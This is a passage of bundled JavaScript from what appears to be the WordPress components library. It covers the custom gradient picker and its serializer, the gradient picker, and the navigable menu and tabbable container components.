36520 onChange(updateControlPointColorByPosition(controlPoints, insertPosition, w(color2).toRgbString()));
36521 }
36522 }
36523 })
36524 }),
36525 style: insertPosition !== null ? {
36526 left: `${insertPosition}%`,
36527 transform: "translateX( -50% )"
36528 } : void 0
36529 });
36530 }
36531 ControlPoints.InsertPoint = InsertPoint;
36532 var control_points_default = ControlPoints;
36533
36534 // packages/components/build-module/custom-gradient-picker/gradient-bar/index.mjs
36535 var import_jsx_runtime174 = __toESM(require_jsx_runtime(), 1);
36536 var customGradientBarReducer = (state, action) => {
36537 switch (action.type) {
36538 case "MOVE_INSERTER":
36539 if (state.id === "IDLE" || state.id === "MOVING_INSERTER") {
36540 return {
36541 id: "MOVING_INSERTER",
36542 insertPosition: action.insertPosition
36543 };
36544 }
36545 break;
36546 case "STOP_INSERTER_MOVE":
36547 if (state.id === "MOVING_INSERTER") {
36548 return {
36549 id: "IDLE"
36550 };
36551 }
36552 break;
36553 case "OPEN_INSERTER":
36554 if (state.id === "MOVING_INSERTER") {
36555 return {
36556 id: "INSERTING_CONTROL_POINT",
36557 insertPosition: state.insertPosition
36558 };
36559 }
36560 break;
36561 case "CLOSE_INSERTER":
36562 if (state.id === "INSERTING_CONTROL_POINT") {
36563 return {
36564 id: "IDLE"
36565 };
36566 }
36567 break;
36568 case "START_CONTROL_CHANGE":
36569 if (state.id === "IDLE") {
36570 return {
36571 id: "MOVING_CONTROL_POINT"
36572 };
36573 }
36574 break;
36575 case "STOP_CONTROL_CHANGE":
36576 if (state.id === "MOVING_CONTROL_POINT") {
36577 return {
36578 id: "IDLE"
36579 };
36580 }
36581 break;
36582 }
36583 return state;
36584 };
36585 var customGradientBarReducerInitialState = {
36586 id: "IDLE"
36587 };
36588 function CustomGradientBar({
36589 background: background2,
36590 hasGradient,
36591 value: controlPoints,
36592 onChange,
36593 disableInserter = false,
36594 disableAlpha = false,
36595 __experimentalIsRenderedInSidebar = false
36596 }) {
36597 const gradientMarkersContainerDomRef = (0, import_element110.useRef)(null);
36598 const [gradientBarState, gradientBarStateDispatch] = (0, import_element110.useReducer)(customGradientBarReducer, customGradientBarReducerInitialState);
36599 const onMouseEnterAndMove = (event) => {
36600 if (!gradientMarkersContainerDomRef.current) {
36601 return;
36602 }
36603 const insertPosition = getHorizontalRelativeGradientPosition(event.clientX, gradientMarkersContainerDomRef.current);
36604 if (controlPoints.some(({
36605 position: position2
36606 }) => {
36607 return Math.abs(insertPosition - position2) < MINIMUM_DISTANCE_BETWEEN_INSERTER_AND_POINT;
36608 })) {
36609 if (gradientBarState.id === "MOVING_INSERTER") {
36610 gradientBarStateDispatch({
36611 type: "STOP_INSERTER_MOVE"
36612 });
36613 }
36614 return;
36615 }
36616 gradientBarStateDispatch({
36617 type: "MOVE_INSERTER",
36618 insertPosition
36619 });
36620 };
36621 const onMouseLeave = () => {
36622 gradientBarStateDispatch({
36623 type: "STOP_INSERTER_MOVE"
36624 });
36625 };
36626 const isMovingInserter = gradientBarState.id === "MOVING_INSERTER";
36627 const isInsertingControlPoint = gradientBarState.id === "INSERTING_CONTROL_POINT";
36628 return /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)("div", {
36629 className: clsx_default("components-custom-gradient-picker__gradient-bar", {
36630 "has-gradient": hasGradient
36631 }),
36632 onMouseEnter: onMouseEnterAndMove,
36633 onMouseMove: onMouseEnterAndMove,
36634 onMouseLeave,
36635 children: [/* @__PURE__ */ (0, import_jsx_runtime174.jsx)("div", {
36636 className: "components-custom-gradient-picker__gradient-bar-background",
36637 style: {
36638 background: background2,
36639 opacity: hasGradient ? 1 : 0.4
36640 }
36641 }), /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)("div", {
36642 ref: gradientMarkersContainerDomRef,
36643 className: "components-custom-gradient-picker__markers-container",
36644 children: [!disableInserter && (isMovingInserter || isInsertingControlPoint) && /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(control_points_default.InsertPoint, {
36645 __experimentalIsRenderedInSidebar,
36646 disableAlpha,
36647 insertPosition: gradientBarState.insertPosition,
36648 value: controlPoints,
36649 onChange,
36650 onOpenInserter: () => {
36651 gradientBarStateDispatch({
36652 type: "OPEN_INSERTER"
36653 });
36654 },
36655 onCloseInserter: () => {
36656 gradientBarStateDispatch({
36657 type: "CLOSE_INSERTER"
36658 });
36659 }
36660 }), /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(control_points_default, {
36661 __experimentalIsRenderedInSidebar,
36662 disableAlpha,
36663 disableRemove: disableInserter,
36664 gradientPickerDomRef: gradientMarkersContainerDomRef,
36665 ignoreMarkerPosition: isInsertingControlPoint ? gradientBarState.insertPosition : void 0,
36666 value: controlPoints,
36667 onChange,
36668 onStartControlPointChange: () => {
36669 gradientBarStateDispatch({
36670 type: "START_CONTROL_CHANGE"
36671 });
36672 },
36673 onStopControlPointChange: () => {
36674 gradientBarStateDispatch({
36675 type: "STOP_CONTROL_CHANGE"
36676 });
36677 }
36678 })]
36679 })]
36680 });
36681 }
36682
36683 // packages/components/build-module/custom-gradient-picker/utils.mjs
36684 var import_gradient_parser = __toESM(require_node(), 1);
36685
36686 // packages/components/build-module/custom-gradient-picker/constants.mjs
36687 var import_i18n32 = __toESM(require_i18n(), 1);
36688 var DEFAULT_GRADIENT = "linear-gradient(135deg, rgba(6, 147, 227, 1) 0%, rgb(155, 81, 224) 100%)";
36689 var DEFAULT_LINEAR_GRADIENT_ANGLE = 180;
36690 var HORIZONTAL_GRADIENT_ORIENTATION = {
36691 type: "angular",
36692 value: "90"
36693 };
36694 var GRADIENT_OPTIONS = [{
36695 value: "linear-gradient",
36696 label: (0, import_i18n32.__)("Linear")
36697 }, {
36698 value: "radial-gradient",
36699 label: (0, import_i18n32.__)("Radial")
36700 }];
36701 var DIRECTIONAL_ORIENTATION_ANGLE_MAP = {
36702 top: 0,
36703 "top right": 45,
36704 "right top": 45,
36705 right: 90,
36706 "right bottom": 135,
36707 "bottom right": 135,
36708 bottom: 180,
36709 "bottom left": 225,
36710 "left bottom": 225,
36711 left: 270,
36712 "top left": 315,
36713 "left top": 315
36714 };
36715
36716 // packages/components/build-module/custom-gradient-picker/serializer.mjs
36717 function serializeGradientColor({
36718 type,
36719 value
36720 }) {
36721 if (type === "literal") {
36722 return value;
36723 }
36724 if (type === "hex") {
36725 return `#${value}`;
36726 }
36727 if (type === "var") {
36728 return `var(${value})`;
36729 }
36730 if (type === "hsl") {
36731 const [hue, saturation, lightness] = value;
36732 return `hsl(${hue},${saturation}%,${lightness}%)`;
36733 }
36734 if (type === "hsla") {
36735 const [hue, saturation, lightness, alpha2] = value;
36736 return `hsla(${hue},${saturation}%,${lightness}%,${alpha2})`;
36737 }
36738 return `${type}(${value.join(",")})`;
36739 }
36740 function serializeGradientPosition(position2) {
36741 if (!position2) {
36742 return "";
36743 }
36744 const {
36745 value,
36746 type
36747 } = position2;
36748 if (type === "calc") {
36749 return `calc(${value})`;
36750 }
36751 return `${value}${type}`;
36752 }
36753 function serializeGradientColorStop({
36754 type,
36755 value,
36756 length: length2
36757 }) {
36758 return `${serializeGradientColor({
36759 type,
36760 value
36761 })} ${serializeGradientPosition(length2)}`;
36762 }
36763 function serializeGradientOrientation(orientation) {
36764 if (Array.isArray(orientation) || !orientation || orientation.type !== "angular") {
36765 return;
36766 }
36767 return `${orientation.value}deg`;
36768 }
36769 function serializeGradient({
36770 type,
36771 orientation,
36772 colorStops
36773 }) {
36774 const serializedOrientation = serializeGradientOrientation(orientation);
36775 const serializedColorStops = colorStops.sort((colorStop1, colorStop2) => {
36776 const getNumericStopValue = (colorStop) => {
36777 return colorStop?.length?.value === void 0 ? 0 : parseInt(colorStop.length.value);
36778 };
36779 return getNumericStopValue(colorStop1) - getNumericStopValue(colorStop2);
36780 }).map(serializeGradientColorStop);
36781 return `${type}(${[serializedOrientation, ...serializedColorStops].filter(Boolean).join(",")})`;
36782 }
36783
36784 // packages/components/build-module/custom-gradient-picker/utils.mjs
36785 k([names_default]);
36786 function getLinearGradientRepresentation(gradientAST) {
36787 return serializeGradient({
36788 type: "linear-gradient",
36789 orientation: HORIZONTAL_GRADIENT_ORIENTATION,
36790 colorStops: gradientAST.colorStops
36791 });
36792 }
36793 function hasUnsupportedLength(item2) {
36794 return item2.length === void 0 || item2.length.type !== "%";
36795 }
36796 function getGradientAstWithDefault(value) {
36797 let gradientAST;
36798 let hasGradient = !!value;
36799 const valueToParse = value ?? DEFAULT_GRADIENT;
36800 try {
36801 gradientAST = import_gradient_parser.default.parse(valueToParse)[0];
36802 } catch (error) {
36803 console.warn("wp.components.CustomGradientPicker failed to parse the gradient with error", error);
36804 gradientAST = import_gradient_parser.default.parse(DEFAULT_GRADIENT)[0];
36805 hasGradient = false;
36806 }
36807 if (!Array.isArray(gradientAST.orientation) && gradientAST.orientation?.type === "directional") {
36808 gradientAST.orientation = {
36809 type: "angular",
36810 value: DIRECTIONAL_ORIENTATION_ANGLE_MAP[gradientAST.orientation.value].toString()
36811 };
36812 }
36813 if (gradientAST.colorStops.some(hasUnsupportedLength)) {
36814 const {
36815 colorStops
36816 } = gradientAST;
36817 const step = 100 / (colorStops.length - 1);
36818 colorStops.forEach((stop, index2) => {
36819 stop.length = {
36820 value: `${step * index2}`,
36821 type: "%"
36822 };
36823 });
36824 }
36825 return {
36826 gradientAST,
36827 hasGradient
36828 };
36829 }
36830 function getGradientAstWithControlPoints(gradientAST, newControlPoints) {
36831 return {
36832 ...gradientAST,
36833 colorStops: newControlPoints.map(({
36834 position: position2,
36835 color: color2
36836 }) => {
36837 const {
36838 r: r4,
36839 g: g3,
36840 b: b3,
36841 a: a3
36842 } = w(color2).toRgb();
36843 return {
36844 length: {
36845 type: "%",
36846 value: position2?.toString()
36847 },
36848 type: a3 < 1 ? "rgba" : "rgb",
36849 value: a3 < 1 ? [`${r4}`, `${g3}`, `${b3}`, `${a3}`] : [`${r4}`, `${g3}`, `${b3}`]
36850 };
36851 })
36852 };
36853 }
36854 function getStopCssColor(colorStop) {
36855 switch (colorStop.type) {
36856 case "hex":
36857 return `#${colorStop.value}`;
36858 case "literal":
36859 return colorStop.value;
36860 case "var":
36861 return `${colorStop.type}(${colorStop.value})`;
36862 case "rgb":
36863 case "rgba":
36864 return `${colorStop.type}(${colorStop.value.join(",")})`;
36865 case "hsl": {
36866 const [hue, saturation, lightness] = colorStop.value;
36867 return `hsl(${hue},${saturation}%,${lightness}%)`;
36868 }
36869 case "hsla": {
36870 const [hue, saturation, lightness, alpha2] = colorStop.value;
36871 return `hsla(${hue},${saturation}%,${lightness}%,${alpha2})`;
36872 }
36873 default:
36874 return "transparent";
36875 }
36876 }
36877
36878 // packages/components/build-module/custom-gradient-picker/styles/custom-gradient-picker-styles.mjs
36879 function _EMOTION_STRINGIFIED_CSS_ERROR__23() {
36880 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
36881 }
36882 var SelectWrapper = /* @__PURE__ */ createStyled(component_default5, false ? {
36883 target: "e10bzpgi1"
36884 } : {
36885 target: "e10bzpgi1",
36886 label: "SelectWrapper"
36887 })(false ? {
36888 name: "1gvx10y",
36889 styles: "flex-grow:5"
36890 } : {
36891 name: "1gvx10y",
36892 styles: "flex-grow:5/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImN1c3RvbS1ncmFkaWVudC1waWNrZXItc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFTZ0QiLCJmaWxlIjoiY3VzdG9tLWdyYWRpZW50LXBpY2tlci1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleEJsb2NrIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RXcmFwcGVyID0gc3R5bGVkKCBGbGV4QmxvY2sgKWBcblx0ZmxleC1ncm93OiA1O1xuYDtcblxuZXhwb3J0IGNvbnN0IEFjY2Vzc29yeVdyYXBwZXIgPSBzdHlsZWQoIEZsZXhCbG9jayApYFxuXHRmbGV4LWdyb3c6IDU7XG5gO1xuIl19 */",
36893 toString: _EMOTION_STRINGIFIED_CSS_ERROR__23
36894 });
36895 var AccessoryWrapper = /* @__PURE__ */ createStyled(component_default5, false ? {
36896 target: "e10bzpgi0"
36897 } : {
36898 target: "e10bzpgi0",
36899 label: "AccessoryWrapper"
36900 })(false ? {
36901 name: "1gvx10y",
36902 styles: "flex-grow:5"
36903 } : {
36904 name: "1gvx10y",
36905 styles: "flex-grow:5/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImN1c3RvbS1ncmFkaWVudC1waWNrZXItc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFhbUQiLCJmaWxlIjoiY3VzdG9tLWdyYWRpZW50LXBpY2tlci1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleEJsb2NrIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RXcmFwcGVyID0gc3R5bGVkKCBGbGV4QmxvY2sgKWBcblx0ZmxleC1ncm93OiA1O1xuYDtcblxuZXhwb3J0IGNvbnN0IEFjY2Vzc29yeVdyYXBwZXIgPSBzdHlsZWQoIEZsZXhCbG9jayApYFxuXHRmbGV4LWdyb3c6IDU7XG5gO1xuIl19 */",
36906 toString: _EMOTION_STRINGIFIED_CSS_ERROR__23
36907 });
36908
36909 // packages/components/build-module/custom-gradient-picker/index.mjs
36910 var import_jsx_runtime175 = __toESM(require_jsx_runtime(), 1);
36911 var GradientAnglePicker = ({
36912 gradientAST,
36913 hasGradient,
36914 onChange
36915 }) => {
36916 const angle = gradientAST?.orientation?.value ?? DEFAULT_LINEAR_GRADIENT_ANGLE;
36917 const onAngleChange = (newAngle) => {
36918 onChange(serializeGradient({
36919 ...gradientAST,
36920 orientation: {
36921 type: "angular",
36922 value: `${newAngle}`
36923 }
36924 }));
36925 };
36926 return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(angle_picker_control_default, {
36927 onChange: onAngleChange,
36928 value: hasGradient ? angle : ""
36929 });
36930 };
36931 var GradientTypePicker = ({
36932 gradientAST,
36933 hasGradient,
36934 onChange
36935 }) => {
36936 const {
36937 type
36938 } = gradientAST;
36939 const onSetLinearGradient = () => {
36940 onChange(serializeGradient({
36941 ...gradientAST,
36942 orientation: gradientAST.orientation ? void 0 : HORIZONTAL_GRADIENT_ORIENTATION,
36943 type: "linear-gradient"
36944 }));
36945 };
36946 const onSetRadialGradient = () => {
36947 const {
36948 orientation,
36949 ...restGradientAST
36950 } = gradientAST;
36951 onChange(serializeGradient({
36952 ...restGradientAST,
36953 type: "radial-gradient"
36954 }));
36955 };
36956 const handleOnChange = (next2) => {
36957 if (next2 === "linear-gradient") {
36958 onSetLinearGradient();
36959 }
36960 if (next2 === "radial-gradient") {
36961 onSetRadialGradient();
36962 }
36963 };
36964 return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(select_control_default, {
36965 className: "components-custom-gradient-picker__type-picker",
36966 label: (0, import_i18n33.__)("Type"),
36967 labelPosition: "top",
36968 onChange: handleOnChange,
36969 options: GRADIENT_OPTIONS,
36970 size: "__unstable-large",
36971 value: hasGradient ? type : void 0
36972 });
36973 };
36974 function CustomGradientPicker({
36975 value,
36976 onChange,
36977 enableAlpha = true,
36978 __experimentalIsRenderedInSidebar = false
36979 }) {
36980 const {
36981 gradientAST,
36982 hasGradient
36983 } = getGradientAstWithDefault(value);
36984 const background2 = getLinearGradientRepresentation(gradientAST);
36985 const controlPoints = gradientAST.colorStops.map((colorStop) => {
36986 return {
36987 color: getStopCssColor(colorStop),
36988 // Although it's already been checked by `hasUnsupportedLength` in `getGradientAstWithDefault`,
36989 // TypeScript doesn't know that `colorStop.length` is not undefined here.
36990 // @ts-expect-error
36991 position: parseInt(colorStop.length.value)
36992 };
36993 });
36994 return /* @__PURE__ */ (0, import_jsx_runtime175.jsxs)(component_default18, {
36995 spacing: 4,
36996 className: "components-custom-gradient-picker",
36997 children: [/* @__PURE__ */ (0, import_jsx_runtime175.jsx)(CustomGradientBar, {
36998 __experimentalIsRenderedInSidebar,
36999 disableAlpha: !enableAlpha,
37000 background: background2,
37001 hasGradient,
37002 value: controlPoints,
37003 onChange: (newControlPoints) => {
37004 onChange(serializeGradient(getGradientAstWithControlPoints(gradientAST, newControlPoints)));
37005 }
37006 }), /* @__PURE__ */ (0, import_jsx_runtime175.jsxs)(component_default3, {
37007 gap: 3,
37008 className: "components-custom-gradient-picker__ui-line",
37009 children: [/* @__PURE__ */ (0, import_jsx_runtime175.jsx)(SelectWrapper, {
37010 children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(GradientTypePicker, {
37011 gradientAST,
37012 hasGradient,
37013 onChange
37014 })
37015 }), /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(AccessoryWrapper, {
37016 children: gradientAST.type === "linear-gradient" && /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(GradientAnglePicker, {
37017 gradientAST,
37018 hasGradient,
37019 onChange
37020 })
37021 })]
37022 })]
37023 });
37024 }
37025 var custom_gradient_picker_default = CustomGradientPicker;
37026
37027 // packages/components/build-module/gradient-picker/index.mjs
37028 var import_jsx_runtime176 = __toESM(require_jsx_runtime(), 1);
37029 var isMultipleOriginObject = (obj) => Array.isArray(obj.gradients) && !("gradient" in obj);
37030 var isMultipleOriginArray = (arr) => {
37031 return arr.length > 0 && arr.every((gradientObj) => isMultipleOriginObject(gradientObj));
37032 };
37033 function SingleOrigin({
37034 className: className2,
37035 clearGradient,
37036 gradients,
37037 onChange,
37038 value,
37039 ...additionalProps
37040 }) {
37041 const gradientOptions = (0, import_element111.useMemo)(() => {
37042 return gradients.map(({
37043 gradient,
37044 name,
37045 slug
37046 }, index2) => /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(circular_option_picker_default2.Option, {
37047 value: gradient,
37048 isSelected: value === gradient,
37049 tooltipText: name || // translators: %s: gradient code e.g: "linear-gradient(90deg, rgba(98,16,153,1) 0%, rgba(172,110,22,1) 100%);".
37050 (0, import_i18n34.sprintf)((0, import_i18n34.__)("Gradient code: %s"), gradient),
37051 style: {
37052 color: "rgba( 0,0,0,0 )",
37053 background: gradient
37054 },
37055 onClick: value === gradient ? clearGradient : () => onChange(gradient, index2),
37056 "aria-label": name ? (
37057 // translators: %s: The name of the gradient e.g: "Angular red to blue".
37058 (0, import_i18n34.sprintf)((0, import_i18n34.__)("Gradient: %s"), name)
37059 ) : (
37060 // translators: %s: gradient code e.g: "linear-gradient(90deg, rgba(98,16,153,1) 0%, rgba(172,110,22,1) 100%);".
37061 (0, import_i18n34.sprintf)((0, import_i18n34.__)("Gradient code: %s"), gradient)
37062 )
37063 }, slug));
37064 }, [gradients, value, onChange, clearGradient]);
37065 return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(circular_option_picker_default2.OptionGroup, {
37066 className: className2,
37067 options: gradientOptions,
37068 ...additionalProps
37069 });
37070 }
37071 function MultipleOrigin({
37072 className: className2,
37073 clearGradient,
37074 gradients,
37075 onChange,
37076 value,
37077 headingLevel
37078 }) {
37079 const instanceId = (0, import_compose42.useInstanceId)(MultipleOrigin);
37080 return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(component_default18, {
37081 spacing: 3,
37082 className: className2,
37083 children: gradients.map(({
37084 name,
37085 gradients: gradientSet
37086 }, index2) => {
37087 const id3 = `color-palette-${instanceId}-${index2}`;
37088 return /* @__PURE__ */ (0, import_jsx_runtime176.jsxs)(component_default18, {
37089 spacing: 2,
37090 children: [/* @__PURE__ */ (0, import_jsx_runtime176.jsx)(ColorHeading, {
37091 level: headingLevel,
37092 id: id3,
37093 children: name
37094 }), /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(SingleOrigin, {
37095 clearGradient,
37096 gradients: gradientSet,
37097 onChange: (gradient) => onChange(gradient, index2),
37098 value,
37099 "aria-labelledby": id3
37100 })]
37101 }, index2);
37102 })
37103 });
37104 }
37105 function Component3(props) {
37106 const {
37107 asButtons,
37108 loop,
37109 actions,
37110 headingLevel,
37111 "aria-label": ariaLabel,
37112 "aria-labelledby": ariaLabelledby,
37113 ...additionalProps
37114 } = props;
37115 const options2 = isMultipleOriginArray(props.gradients) ? /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(MultipleOrigin, {
37116 headingLevel,
37117 ...additionalProps
37118 }) : /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(SingleOrigin, {
37119 ...additionalProps
37120 });
37121 const {
37122 metaProps,
37123 labelProps
37124 } = getComputeCircularOptionPickerCommonProps(asButtons, loop, ariaLabel, ariaLabelledby);
37125 return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(circular_option_picker_default2, {
37126 ...metaProps,
37127 ...labelProps,
37128 actions,
37129 options: options2
37130 });
37131 }
37132 function GradientPicker({
37133 className: className2,
37134 gradients = [],
37135 onChange,
37136 value,
37137 clearable = true,
37138 enableAlpha = true,
37139 disableCustomGradients = false,
37140 __experimentalIsRenderedInSidebar,
37141 headingLevel = 2,
37142 ...additionalProps
37143 }) {
37144 const clearGradient = (0, import_element111.useCallback)(() => onChange(void 0), [onChange]);
37145 return /* @__PURE__ */ (0, import_jsx_runtime176.jsxs)(component_default18, {
37146 spacing: gradients.length ? 4 : 0,
37147 children: [!disableCustomGradients && /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(custom_gradient_picker_default, {
37148 __experimentalIsRenderedInSidebar,
37149 enableAlpha,
37150 value,
37151 onChange
37152 }), (gradients.length > 0 || clearable) && /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(Component3, {
37153 ...additionalProps,
37154 className: className2,
37155 clearGradient,
37156 gradients,
37157 onChange,
37158 value,
37159 actions: clearable && !disableCustomGradients && /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(circular_option_picker_default2.ButtonAction, {
37160 onClick: clearGradient,
37161 accessibleWhenDisabled: true,
37162 disabled: !value,
37163 children: (0, import_i18n34.__)("Clear")
37164 }),
37165 headingLevel
37166 })]
37167 });
37168 }
37169 var gradient_picker_default = GradientPicker;
37170
37171 // packages/components/build-module/navigable-container/menu.mjs
37172 var import_element113 = __toESM(require_element(), 1);
37173
37174 // packages/components/build-module/navigable-container/container.mjs
37175 var import_element112 = __toESM(require_element(), 1);
37176 var import_dom29 = __toESM(require_dom(), 1);
37177 var import_jsx_runtime177 = __toESM(require_jsx_runtime(), 1);
37178 var noop10 = () => {
37179 };
37180 var MENU_ITEM_ROLES = ["menuitem", "menuitemradio", "menuitemcheckbox"];
37181 function cycleValue(value, total, offset3) {
37182 const nextValue = value + offset3;
37183 if (nextValue < 0) {
37184 return total + nextValue;
37185 } else if (nextValue >= total) {
37186 return nextValue - total;
37187 }
37188 return nextValue;
37189 }
37190 var NavigableContainer = class extends import_element112.Component {
37191 constructor(args) {
37192 super(args);
37193 this.onKeyDown = this.onKeyDown.bind(this);
37194 this.bindContainer = this.bindContainer.bind(this);
37195 this.getFocusableContext = this.getFocusableContext.bind(this);
37196 this.getFocusableIndex = this.getFocusableIndex.bind(this);
37197 }
37198 componentDidMount() {
37199 if (!this.container) {
37200 return;
37201 }
37202 this.container.addEventListener("keydown", this.onKeyDown);
37203 }
37204 componentWillUnmount() {
37205 if (!this.container) {
37206 return;
37207 }
37208 this.container.removeEventListener("keydown", this.onKeyDown);
37209 }
37210 bindContainer(ref) {
37211 const {
37212 forwardedRef
37213 } = this.props;
37214 this.container = ref;
37215 if (typeof forwardedRef === "function") {
37216 forwardedRef(ref);
37217 } else if (forwardedRef && "current" in forwardedRef) {
37218 forwardedRef.current = ref;
37219 }
37220 }
37221 getFocusableContext(target) {
37222 if (!this.container) {
37223 return null;
37224 }
37225 const {
37226 onlyBrowserTabstops
37227 } = this.props;
37228 const finder = onlyBrowserTabstops ? import_dom29.focus.tabbable : import_dom29.focus.focusable;
37229 const focusables = finder.find(this.container);
37230 const index2 = this.getFocusableIndex(focusables, target);
37231 if (index2 > -1 && target) {
37232 return {
37233 index: index2,
37234 target,
37235 focusables
37236 };
37237 }
37238 return null;
37239 }
37240 getFocusableIndex(focusables, target) {
37241 return focusables.indexOf(target);
37242 }
37243 onKeyDown(event) {
37244 if (this.props.onKeyDown) {
37245 this.props.onKeyDown(event);
37246 }
37247 const {
37248 getFocusableContext
37249 } = this;
37250 const {
37251 cycle = true,
37252 eventToOffset,
37253 onNavigate = noop10,
37254 stopNavigationEvents
37255 } = this.props;
37256 const offset3 = eventToOffset(event);
37257 if (offset3 !== void 0 && stopNavigationEvents) {
37258 event.stopImmediatePropagation();
37259 const targetRole = event.target?.getAttribute("role");
37260 const targetHasMenuItemRole = !!targetRole && MENU_ITEM_ROLES.includes(targetRole);
37261 if (targetHasMenuItemRole) {
37262 event.preventDefault();
37263 }
37264 }
37265 if (!offset3) {
37266 return;
37267 }
37268 const activeElement = event.target?.ownerDocument?.activeElement;
37269 if (!activeElement) {
37270 return;
37271 }
37272 const context = getFocusableContext(activeElement);
37273 if (!context) {
37274 return;
37275 }
37276 const {
37277 index: index2,
37278 focusables
37279 } = context;
37280 const nextIndex = cycle ? cycleValue(index2, focusables.length, offset3) : index2 + offset3;
37281 if (nextIndex >= 0 && nextIndex < focusables.length) {
37282 focusables[nextIndex].focus();
37283 onNavigate(nextIndex, focusables[nextIndex]);
37284 if (event.code === "Tab") {
37285 event.preventDefault();
37286 }
37287 }
37288 }
37289 render() {
37290 const {
37291 children,
37292 stopNavigationEvents,
37293 eventToOffset,
37294 onNavigate,
37295 onKeyDown,
37296 cycle,
37297 onlyBrowserTabstops,
37298 forwardedRef,
37299 ...restProps
37300 } = this.props;
37301 return /* @__PURE__ */ (0, import_jsx_runtime177.jsx)("div", {
37302 ref: this.bindContainer,
37303 ...restProps,
37304 children
37305 });
37306 }
37307 };
37308 var forwardedNavigableContainer = (props, ref) => {
37309 return /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(NavigableContainer, {
37310 ...props,
37311 forwardedRef: ref
37312 });
37313 };
37314 forwardedNavigableContainer.displayName = "NavigableContainer";
37315 var container_default = (0, import_element112.forwardRef)(forwardedNavigableContainer);
37316
37317 // packages/components/build-module/navigable-container/menu.mjs
37318 var import_jsx_runtime178 = __toESM(require_jsx_runtime(), 1);
37319 function UnforwardedNavigableMenu({
37320 role = "menu",
37321 orientation = "vertical",
37322 ...rest
37323 }, ref) {
37324 const eventToOffset = (evt) => {
37325 const {
37326 code
37327 } = evt;
37328 let next2 = ["ArrowDown"];
37329 let previous = ["ArrowUp"];
37330 if (orientation === "horizontal") {
37331 next2 = ["ArrowRight"];
37332 previous = ["ArrowLeft"];
37333 }
37334 if (orientation === "both") {
37335 next2 = ["ArrowRight", "ArrowDown"];
37336 previous = ["ArrowLeft", "ArrowUp"];
37337 }
37338 if (next2.includes(code)) {
37339 return 1;
37340 } else if (previous.includes(code)) {
37341 return -1;
37342 } else if (["ArrowDown", "ArrowUp", "ArrowLeft", "ArrowRight"].includes(code)) {
37343 return 0;
37344 }
37345 return void 0;
37346 };
37347 return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(container_default, {
37348 ref,
37349 stopNavigationEvents: true,
37350 onlyBrowserTabstops: false,
37351 role,
37352 "aria-orientation": role !== "presentation" && (orientation === "vertical" || orientation === "horizontal") ? orientation : void 0,
37353 eventToOffset,
37354 ...rest
37355 });
37356 }
37357 var NavigableMenu = (0, import_element113.forwardRef)(UnforwardedNavigableMenu);
37358 NavigableMenu.displayName = "NavigableMenu";
37359 var menu_default2 = NavigableMenu;
37360
37361 // packages/components/build-module/navigable-container/tabbable.mjs
37362 var import_element114 = __toESM(require_element(), 1);
37363 var import_jsx_runtime179 = __toESM(require_jsx_runtime(), 1);
37364 function UnforwardedTabbableContainer({
37365 eventToOffset,
37366 ...props
37367 }, ref) {
37368 const innerEventToOffset = (evt) => {
37369 const {
37370 code,
37371 shiftKey
37372 } = evt;
37373 if ("Tab" === code) {
37374 return shiftKey ? -1 : 1;
37375 }
37376 if (eventToOffset) {
37377 return eventToOffset(evt);
37378 }
37379 return void 0;
37380 };
37381 return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(container_default, {
37382 ref,
37383 stopNavigationEvents: true,
37384 onlyBrowserTabstops: true,
37385 eventToOffset: innerEventToOffset,
37386 ...props
37387 });
37388 }
37389 var TabbableContainer = (0, import_element114.forwardRef)(UnforwardedTabbableContainer);
37390 TabbableContainer.displayName = "TabbableContainer";
37391 var tabbable_default = TabbableContainer;
37392
37393 // packages/components/build-module/dropdown-menu/index.mjs
37394 var import_jsx_runtime180 = __toESM(require_jsx_runtime(), 1);
37395 function mergeProps2(defaultProps = {}, props = {}) {
37396 const mergedProps = {
37397 ...defaultProps,
37398 ...props
37399 };
37400 if (props.className && defaultProps.className) {
